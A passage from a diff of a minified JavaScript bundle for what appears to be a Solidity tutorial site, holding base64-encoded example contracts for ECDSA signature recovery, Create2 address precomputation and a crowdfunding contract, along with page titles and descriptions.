25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIF90aHJvd0Vycm9yKGVycm9yKTsKICAgICAgICByZXR1cm4gcmVjb3ZlcmVkOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyeVJlY292ZXIoYnl0ZXMzMiBoYXNoLCB1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzLCBSZWNvdmVyRXJyb3IpCiAgICB7CiAgICAgICAgLy8gRUlQLTIgc3RpbGwgYWxsb3dzIHNpZ25hdHVyZSBtYWxsZWFiaWxpdHkgZm9yIGVjcmVjb3ZlcigpLiBSZW1vdmUgdGhpcyBwb3NzaWJpbGl0eSBhbmQgbWFrZSB0aGUgc2lnbmF0dXJlCiAgICAgICAgLy8gdW5pcXVlLiBBcHBlbmRpeCBGIGluIHRoZSBFdGhlcmV1bSBZZWxsb3cgcGFwZXIgKGh0dHBzOi8vZXRoZXJldW0uZ2l0aHViLmlvL3llbGxvd3BhcGVyL3BhcGVyLnBkZiksIGRlZmluZXMKICAgICAgICAvLyB0aGUgdmFsaWQgcmFuZ2UgZm9yIHMgaW4gKDMwMSk6IDAgPCBzIDwgc2VjcDI1NmsxbiDDtyAyICsgMSwgYW5kIGZvciB2IGluICgzMDIpOiB2IOKIiCB7MjcsIDI4fS4gTW9zdAogICAgICAgIC8vIHNpZ25hdHVyZXMgZnJvbSBjdXJyZW50IGxpYnJhcmllcyBnZW5lcmF0ZSBhIHVuaXF1ZSBzaWduYXR1cmUgd2l0aCBhbiBzLXZhbHVlIGluIHRoZSBsb3dlciBoYWxmIG9yZGVyLgogICAgICAgIC8vCiAgICAgICAgLy8gSWYgeW91ciBsaWJyYXJ5IGdlbmVyYXRlcyBtYWxsZWFibGUgc2lnbmF0dXJlcywgc3VjaCBhcyBzLXZhbHVlcyBpbiB0aGUgdXBwZXIgcmFuZ2UsIGNhbGN1bGF0ZSBhIG5ldyBzLXZhbHVlCiAgICAgICAgLy8gd2l0aCAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZFQkFBRURDRTZBRjQ4QTAzQkJGRDI1RThDRDAzNjQxNDEgLSBzMSBhbmQgZmxpcCB2IGZyb20gMjcgdG8gMjggb3IKICAgICAgICAvLyB2aWNlIHZlcnNhLiBJZiB5b3VyIGxpYnJhcnkgYWxzbyBnZW5lcmF0ZXMgc2lnbmF0dXJlcyB3aXRoIDAvMSBmb3IgdiBpbnN0ZWFkIDI3LzI4LCBhZGQgMjcgdG8gdiB0byBhY2NlcHQKICAgICAgICAvLyB0aGVzZSBtYWxsZWFibGUgc2lnbmF0dXJlcyBhcyB3ZWxsLgogICAgICAgIGlmICgKICAgICAgICAgICAgdWludDI1NihzKQogICAgICAgICAgICAgICAgPiAweDdGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGNUQ1NzZFNzM1N0E0NTAxRERGRTkyRjQ2NjgxQjIwQTAKICAgICAgICApIHsKICAgICAgICAgICAgcmV0dXJuIChhZGRyZXNzKDApLCBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZVMpOwogICAgICAgIH0KICAgICAgICBpZiAodiAhPSAyNyAmJiB2ICE9IDI4KSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVWKTsKICAgICAgICB9CgogICAgICAgIC8vIElmIHRoZSBzaWduYXR1cmUgaXMgdmFsaWQgKGFuZCBub3QgbWFsbGVhYmxlKSwgcmV0dXJuIHRoZSBzaWduZXIgYWRkcmVzcwogICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZWNyZWNvdmVyKGhhc2gsIHYsIHIsIHMpOwogICAgICAgIGlmIChzaWduZXIgPT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICByZXR1cm4gKGFkZHJlc3MoMCksIFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAoc2lnbmVyLCBSZWNvdmVyRXJyb3IuTm9FcnJvcik7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIHVpbnQ4IHYsIGJ5dGVzMzIgciwgYnl0ZXMzMiBzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="}],gj=`

Bi-directional payment channels allow participants Alice and Bob to repeatedly transfer Ether off chain.

Payments can go both ways, Alice pays Bob and Bob pays Alice.

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -852,7 +852,7 @@ Closing a channel when Alice and Bob do not agree on the final balances
         );
     }
 }
-
`,Ij=({prev:s,next:a})=>r.jsx(A,{version:oj,title:rj,description:ij,html:hj,prev:s,next:a,codes:gj}),dj="0.8.24",Cj="Precompute Contract Address with Create2",jj="Precompute contract address with create2",Aj=[{fileName:"Create2.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZhY3RvcnkgewogICAgLy8gUmV0dXJucyB0aGUgYWRkcmVzcyBvZiB0aGUgbmV3bHkgZGVwbG95ZWQgY29udHJhY3QKICAgIGZ1bmN0aW9uIGRlcGxveShhZGRyZXNzIF9vd25lciwgdWludDI1NiBfZm9vLCBieXRlczMyIF9zYWx0KQogICAgICAgIHB1YmxpYwogICAgICAgIHBheWFibGUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIC8vIFRoaXMgc3ludGF4IGlzIGEgbmV3ZXIgd2F5IHRvIGludm9rZSBjcmVhdGUyIHdpdGhvdXQgYXNzZW1ibHksIHlvdSBqdXN0IG5lZWQgdG8gcGFzcyBzYWx0CiAgICAgICAgLy8gaHR0cHM6Ly9kb2NzLnNvbGlkaXR5bGFuZy5vcmcvZW4vbGF0ZXN0L2NvbnRyb2wtc3RydWN0dXJlcy5odG1sI3NhbHRlZC1jb250cmFjdC1jcmVhdGlvbnMtY3JlYXRlMgogICAgICAgIHJldHVybiBhZGRyZXNzKG5ldyBUZXN0Q29udHJhY3R7c2FsdDogX3NhbHR9KF9vd25lciwgX2ZvbykpOwogICAgfQp9CgovLyBUaGlzIGlzIHRoZSBvbGRlciB3YXkgb2YgZG9pbmcgaXQgdXNpbmcgYXNzZW1ibHkKY29udHJhY3QgRmFjdG9yeUFzc2VtYmx5IHsKICAgIGV2ZW50IERlcGxveWVkKGFkZHJlc3MgYWRkciwgdWludDI1NiBzYWx0KTsKCiAgICAvLyAxLiBHZXQgYnl0ZWNvZGUgb2YgY29udHJhY3QgdG8gYmUgZGVwbG95ZWQKICAgIC8vIE5PVEU6IF9vd25lciBhbmQgX2ZvbyBhcmUgYXJndW1lbnRzIG9mIHRoZSBUZXN0Q29udHJhY3QncyBjb25zdHJ1Y3RvcgogICAgZnVuY3Rpb24gZ2V0Qnl0ZWNvZGUoYWRkcmVzcyBfb3duZXIsIHVpbnQyNTYgX2ZvbykKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KQogICAgewogICAgICAgIGJ5dGVzIG1lbW9yeSBieXRlY29kZSA9IHR5cGUoVGVzdENvbnRyYWN0KS5jcmVhdGlvbkNvZGU7CgogICAgICAgIHJldHVybiBhYmkuZW5jb2RlUGFja2VkKGJ5dGVjb2RlLCBhYmkuZW5jb2RlKF9vd25lciwgX2ZvbykpOwogICAgfQoKICAgIC8vIDIuIENvbXB1dGUgdGhlIGFkZHJlc3Mgb2YgdGhlIGNvbnRyYWN0IHRvIGJlIGRlcGxveWVkCiAgICAvLyBOT1RFOiBfc2FsdCBpcyBhIHJhbmRvbSBudW1iZXIgdXNlZCB0byBjcmVhdGUgYW4gYWRkcmVzcwogICAgZnVuY3Rpb24gZ2V0QWRkcmVzcyhieXRlcyBtZW1vcnkgYnl0ZWNvZGUsIHVpbnQyNTYgX3NhbHQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgYnl0ZXMzMiBoYXNoID0ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKAogICAgICAgICAgICAgICAgYnl0ZXMxKDB4ZmYpLCBhZGRyZXNzKHRoaXMpLCBfc2FsdCwga2VjY2FrMjU2KGJ5dGVjb2RlKQogICAgICAgICAgICApCiAgICAgICAgKTsKCiAgICAgICAgLy8gTk9URTogY2FzdCBsYXN0IDIwIGJ5dGVzIG9mIGhhc2ggdG8gYWRkcmVzcwogICAgICAgIHJldHVybiBhZGRyZXNzKHVpbnQxNjAodWludDI1NihoYXNoKSkpOwogICAgfQoKICAgIC8vIDMuIERlcGxveSB0aGUgY29udHJhY3QKICAgIC8vIE5PVEU6CiAgICAvLyBDaGVjayB0aGUgZXZlbnQgbG9nIERlcGxveWVkIHdoaWNoIGNvbnRhaW5zIHRoZSBhZGRyZXNzIG9mIHRoZSBkZXBsb3llZCBUZXN0Q29udHJhY3QuCiAgICAvLyBUaGUgYWRkcmVzcyBpbiB0aGUgbG9nIHNob3VsZCBlcXVhbCB0aGUgYWRkcmVzcyBjb21wdXRlZCBmcm9tIGFib3ZlLgogICAgZnVuY3Rpb24gZGVwbG95KGJ5dGVzIG1lbW9yeSBieXRlY29kZSwgdWludDI1NiBfc2FsdCkgcHVibGljIHBheWFibGUgewogICAgICAgIGFkZHJlc3MgYWRkcjsKCiAgICAgICAgLyoKICAgICAgICBOT1RFOiBIb3cgdG8gY2FsbCBjcmVhdGUyCgogICAgICAgIGNyZWF0ZTIodiwgcCwgbiwgcykKICAgICAgICBjcmVhdGUgbmV3IGNvbnRyYWN0IHdpdGggY29kZSBhdCBtZW1vcnkgcCB0byBwICsgbgogICAgICAgIGFuZCBzZW5kIHYgd2VpCiAgICAgICAgYW5kIHJldHVybiB0aGUgbmV3IGFkZHJlc3MKICAgICAgICB3aGVyZSBuZXcgYWRkcmVzcyA9IGZpcnN0IDIwIGJ5dGVzIG9mIGtlY2NhazI1NigweGZmICsgYWRkcmVzcyh0aGlzKSArIHMgKyBrZWNjYWsyNTYobWVtW3DigKYocCtuKSkpCiAgICAgICAgICAgICAgcyA9IGJpZy1lbmRpYW4gMjU2LWJpdCB2YWx1ZQogICAgICAgICovCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBhZGRyIDo9CiAgICAgICAgICAgICAgICBjcmVhdGUyKAogICAgICAgICAgICAgICAgICAgIGNhbGx2YWx1ZSgpLCAvLyB3ZWkgc2VudCB3aXRoIGN1cnJlbnQgY2FsbAogICAgICAgICAgICAgICAgICAgIC8vIEFjdHVhbCBjb2RlIHN0YXJ0cyBhZnRlciBza2lwcGluZyB0aGUgZmlyc3QgMzIgYnl0ZXMKICAgICAgICAgICAgICAgICAgICBhZGQoYnl0ZWNvZGUsIDB4MjApLAogICAgICAgICAgICAgICAgICAgIG1sb2FkKGJ5dGVjb2RlKSwgLy8gTG9hZCB0aGUgc2l6ZSBvZiBjb2RlIGNvbnRhaW5lZCBpbiB0aGUgZmlyc3QgMzIgYnl0ZXMKICAgICAgICAgICAgICAgICAgICBfc2FsdCAvLyBTYWx0IGZyb20gZnVuY3Rpb24gYXJndW1lbnRzCiAgICAgICAgICAgICAgICApCgogICAgICAgICAgICBpZiBpc3plcm8oZXh0Y29kZXNpemUoYWRkcikpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CgogICAgICAgIGVtaXQgRGVwbG95ZWQoYWRkciwgX3NhbHQpOwogICAgfQp9Cgpjb250cmFjdCBUZXN0Q29udHJhY3QgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICB1aW50MjU2IHB1YmxpYyBmb287CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfb3duZXIsIHVpbnQyNTYgX2ZvbykgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICAgICAgZm9vID0gX2ZvbzsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],uj=`

Contract address can be precomputed, before the contract is deployed, using create2

+`,hj=({prev:s,next:a})=>r.jsx(A,{version:tj,title:oj,description:rj,html:gj,prev:s,next:a,codes:ij}),Ij="0.8.24",dj="Precompute Contract Address with Create2",Cj="Precompute contract address with create2",jj=[{fileName:"Create2.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZhY3RvcnkgewogICAgLy8gUmV0dXJucyB0aGUgYWRkcmVzcyBvZiB0aGUgbmV3bHkgZGVwbG95ZWQgY29udHJhY3QKICAgIGZ1bmN0aW9uIGRlcGxveShhZGRyZXNzIF9vd25lciwgdWludDI1NiBfZm9vLCBieXRlczMyIF9zYWx0KQogICAgICAgIHB1YmxpYwogICAgICAgIHBheWFibGUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIC8vIFRoaXMgc3ludGF4IGlzIGEgbmV3ZXIgd2F5IHRvIGludm9rZSBjcmVhdGUyIHdpdGhvdXQgYXNzZW1ibHksIHlvdSBqdXN0IG5lZWQgdG8gcGFzcyBzYWx0CiAgICAgICAgLy8gaHR0cHM6Ly9kb2NzLnNvbGlkaXR5bGFuZy5vcmcvZW4vbGF0ZXN0L2NvbnRyb2wtc3RydWN0dXJlcy5odG1sI3NhbHRlZC1jb250cmFjdC1jcmVhdGlvbnMtY3JlYXRlMgogICAgICAgIHJldHVybiBhZGRyZXNzKG5ldyBUZXN0Q29udHJhY3R7c2FsdDogX3NhbHR9KF9vd25lciwgX2ZvbykpOwogICAgfQp9CgovLyBUaGlzIGlzIHRoZSBvbGRlciB3YXkgb2YgZG9pbmcgaXQgdXNpbmcgYXNzZW1ibHkKY29udHJhY3QgRmFjdG9yeUFzc2VtYmx5IHsKICAgIGV2ZW50IERlcGxveWVkKGFkZHJlc3MgYWRkciwgdWludDI1NiBzYWx0KTsKCiAgICAvLyAxLiBHZXQgYnl0ZWNvZGUgb2YgY29udHJhY3QgdG8gYmUgZGVwbG95ZWQKICAgIC8vIE5PVEU6IF9vd25lciBhbmQgX2ZvbyBhcmUgYXJndW1lbnRzIG9mIHRoZSBUZXN0Q29udHJhY3QncyBjb25zdHJ1Y3RvcgogICAgZnVuY3Rpb24gZ2V0Qnl0ZWNvZGUoYWRkcmVzcyBfb3duZXIsIHVpbnQyNTYgX2ZvbykKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KQogICAgewogICAgICAgIGJ5dGVzIG1lbW9yeSBieXRlY29kZSA9IHR5cGUoVGVzdENvbnRyYWN0KS5jcmVhdGlvbkNvZGU7CgogICAgICAgIHJldHVybiBhYmkuZW5jb2RlUGFja2VkKGJ5dGVjb2RlLCBhYmkuZW5jb2RlKF9vd25lciwgX2ZvbykpOwogICAgfQoKICAgIC8vIDIuIENvbXB1dGUgdGhlIGFkZHJlc3Mgb2YgdGhlIGNvbnRyYWN0IHRvIGJlIGRlcGxveWVkCiAgICAvLyBOT1RFOiBfc2FsdCBpcyBhIHJhbmRvbSBudW1iZXIgdXNlZCB0byBjcmVhdGUgYW4gYWRkcmVzcwogICAgZnVuY3Rpb24gZ2V0QWRkcmVzcyhieXRlcyBtZW1vcnkgYnl0ZWNvZGUsIHVpbnQyNTYgX3NhbHQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgYnl0ZXMzMiBoYXNoID0ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKAogICAgICAgICAgICAgICAgYnl0ZXMxKDB4ZmYpLCBhZGRyZXNzKHRoaXMpLCBfc2FsdCwga2VjY2FrMjU2KGJ5dGVjb2RlKQogICAgICAgICAgICApCiAgICAgICAgKTsKCiAgICAgICAgLy8gTk9URTogY2FzdCBsYXN0IDIwIGJ5dGVzIG9mIGhhc2ggdG8gYWRkcmVzcwogICAgICAgIHJldHVybiBhZGRyZXNzKHVpbnQxNjAodWludDI1NihoYXNoKSkpOwogICAgfQoKICAgIC8vIDMuIERlcGxveSB0aGUgY29udHJhY3QKICAgIC8vIE5PVEU6CiAgICAvLyBDaGVjayB0aGUgZXZlbnQgbG9nIERlcGxveWVkIHdoaWNoIGNvbnRhaW5zIHRoZSBhZGRyZXNzIG9mIHRoZSBkZXBsb3llZCBUZXN0Q29udHJhY3QuCiAgICAvLyBUaGUgYWRkcmVzcyBpbiB0aGUgbG9nIHNob3VsZCBlcXVhbCB0aGUgYWRkcmVzcyBjb21wdXRlZCBmcm9tIGFib3ZlLgogICAgZnVuY3Rpb24gZGVwbG95KGJ5dGVzIG1lbW9yeSBieXRlY29kZSwgdWludDI1NiBfc2FsdCkgcHVibGljIHBheWFibGUgewogICAgICAgIGFkZHJlc3MgYWRkcjsKCiAgICAgICAgLyoKICAgICAgICBOT1RFOiBIb3cgdG8gY2FsbCBjcmVhdGUyCgogICAgICAgIGNyZWF0ZTIodiwgcCwgbiwgcykKICAgICAgICBjcmVhdGUgbmV3IGNvbnRyYWN0IHdpdGggY29kZSBhdCBtZW1vcnkgcCB0byBwICsgbgogICAgICAgIGFuZCBzZW5kIHYgd2VpCiAgICAgICAgYW5kIHJldHVybiB0aGUgbmV3IGFkZHJlc3MKICAgICAgICB3aGVyZSBuZXcgYWRkcmVzcyA9IGZpcnN0IDIwIGJ5dGVzIG9mIGtlY2NhazI1NigweGZmICsgYWRkcmVzcyh0aGlzKSArIHMgKyBrZWNjYWsyNTYobWVtW3DigKYocCtuKSkpCiAgICAgICAgICAgICAgcyA9IGJpZy1lbmRpYW4gMjU2LWJpdCB2YWx1ZQogICAgICAgICovCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBhZGRyIDo9CiAgICAgICAgICAgICAgICBjcmVhdGUyKAogICAgICAgICAgICAgICAgICAgIGNhbGx2YWx1ZSgpLCAvLyB3ZWkgc2VudCB3aXRoIGN1cnJlbnQgY2FsbAogICAgICAgICAgICAgICAgICAgIC8vIEFjdHVhbCBjb2RlIHN0YXJ0cyBhZnRlciBza2lwcGluZyB0aGUgZmlyc3QgMzIgYnl0ZXMKICAgICAgICAgICAgICAgICAgICBhZGQoYnl0ZWNvZGUsIDB4MjApLAogICAgICAgICAgICAgICAgICAgIG1sb2FkKGJ5dGVjb2RlKSwgLy8gTG9hZCB0aGUgc2l6ZSBvZiBjb2RlIGNvbnRhaW5lZCBpbiB0aGUgZmlyc3QgMzIgYnl0ZXMKICAgICAgICAgICAgICAgICAgICBfc2FsdCAvLyBTYWx0IGZyb20gZnVuY3Rpb24gYXJndW1lbnRzCiAgICAgICAgICAgICAgICApCgogICAgICAgICAgICBpZiBpc3plcm8oZXh0Y29kZXNpemUoYWRkcikpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CgogICAgICAgIGVtaXQgRGVwbG95ZWQoYWRkciwgX3NhbHQpOwogICAgfQp9Cgpjb250cmFjdCBUZXN0Q29udHJhY3QgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICB1aW50MjU2IHB1YmxpYyBmb287CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfb3duZXIsIHVpbnQyNTYgX2ZvbykgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICAgICAgZm9vID0gX2ZvbzsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],Aj=`

Contract address can be precomputed, before the contract is deployed, using create2

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -949,7 +949,7 @@ Closing a channel when Alice and Bob do not agree on the final balances
         return address(this).balance;
     }
 }
-
`,yj=({prev:s,next:a})=>r.jsx(A,{version:dj,title:Cj,description:jj,html:uj,prev:s,next:a,codes:Aj}),mj="0.8.24",bj="Crowd Fund",wj="An example of crowd funding contract",kj=[{fileName:"CrowdFund.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcywgYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7Cn0KCmNvbnRyYWN0IENyb3dkRnVuZCB7CiAgICBldmVudCBMYXVuY2goCiAgICAgICAgdWludDI1NiBpZCwKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgY3JlYXRvciwKICAgICAgICB1aW50MjU2IGdvYWwsCiAgICAgICAgdWludDMyIHN0YXJ0QXQsCiAgICAgICAgdWludDMyIGVuZEF0CiAgICApOwogICAgZXZlbnQgQ2FuY2VsKHVpbnQyNTYgaWQpOwogICAgZXZlbnQgUGxlZGdlKHVpbnQyNTYgaW5kZXhlZCBpZCwgYWRkcmVzcyBpbmRleGVkIGNhbGxlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgVW5wbGVkZ2UodWludDI1NiBpbmRleGVkIGlkLCBhZGRyZXNzIGluZGV4ZWQgY2FsbGVyLCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBDbGFpbSh1aW50MjU2IGlkKTsKICAgIGV2ZW50IFJlZnVuZCh1aW50MjU2IGlkLCBhZGRyZXNzIGluZGV4ZWQgY2FsbGVyLCB1aW50MjU2IGFtb3VudCk7CgogICAgc3RydWN0IENhbXBhaWduIHsKICAgICAgICAvLyBDcmVhdG9yIG9mIGNhbXBhaWduCiAgICAgICAgYWRkcmVzcyBjcmVhdG9yOwogICAgICAgIC8vIEFtb3VudCBvZiB0b2tlbnMgdG8gcmFpc2UKICA